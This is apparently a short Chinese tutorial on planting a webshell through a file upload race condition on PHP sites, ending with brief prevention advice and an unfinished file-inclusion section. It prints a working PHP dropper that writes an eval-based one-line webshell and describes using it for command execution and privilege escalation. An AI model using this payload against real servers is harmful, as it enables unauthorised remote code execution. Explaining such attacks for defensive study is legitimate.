前言
安全自在人心
一个文件上传点可以成为一个写入webshell的一个靶点。
上传你的头像
通常情况下，只要有上传文件的地方，都可以作为上传点尝试写入webshell。
例如我们尝试上传一个正常的图片，然后观察一下上传后的文件名及目录，通常情况下是 /uploads/ 目录，以及时间随机重命名。
那么我们有两种思路写入webshell。
执行
竞争条件
获取webshell?
假设对方是一个php网站，且对于上传的文件采用这种 “先上传 ，后校验” 的方式。
直接暴力上传文件，然后试图访问这个文件，例如准备了一个php一句话
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_POST["password"])?>');
?>上传，访问这个文件，然后如果返回200 则证明webshell写入成功。然后连接这个webshell，尝试执行一些命令，进行提权。
预防方法
- 严格约束权限，例如该文件夹可写可读，不可执行。
- 访问限制频率。
- 使用一个配置更为强大的服务器。
文件包含漏洞
等待填坑ing....